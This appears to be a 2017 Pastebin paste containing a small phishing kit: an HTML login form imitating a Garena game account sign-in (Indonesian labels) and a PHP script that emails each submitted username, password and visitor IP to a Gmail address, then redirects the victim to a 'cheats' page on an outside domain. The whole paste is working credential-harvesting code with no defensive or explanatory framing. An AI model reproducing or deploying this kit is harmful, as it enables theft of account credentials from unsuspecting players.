Advertisement
Guest User

xxx

a guest
Jan 30th, 2017
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. index.php
  2. <form id="login-form" class="loginForm" action="login.php">
  3. <div class="line" id="line-account"><input placeholder="Username Garena / E-Mail / Nomor Handphone" name="user" id="username" type="text"></div>
  4. <div class="line" id="line-password"><input placeholder="Password" name="pass" id="password" type="password">
  5. </div>
  6. <div class="line btnLine" id="line-btn"><input class="btn" name="login" type="submit" value="Login Sekarang" /></div>
  7. </form>
  8.  
  9.  
  10. login.php
  11. <?php
  12. $ip = $_SERVER['REMOTE_ADDR'];
  13. $subjek = 'PB dari '.$ip.'';
  14. $mailto = 'd9firmansyah@gmail.com';
  15. $username = $_POST['user'];
  16. $password = $_POST['pass'];
  17.  
  18. $body = <<<EOD
  19. <br><hr><br>
  20.  
  21. Username : $username <br>
  22. Password : $password <br>
  23. IP : ".$ip."
  24. EOD;
  25.  
  26.  
  27. $headers = "From: inject@cobraproject.com\r\n"; // Buat nunjukin pengirim email.
  28. $headers .= "Content-type: text/html\r\n"; // Untuk memerintahkan server melakukan coding teks.
  29. $success = mail($mailto, $subjek, $body, $headers); // Hal-hal yang akan dikirim.
  30. ?>
  31. <html>
  32. <head>
  33. <meta http-equiv="Refresh" content="0; URL=http://inject.cobraproject.com/pb/cheats.html"/>
  34. </head>
  35. <body>
  36. </body>
  37. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement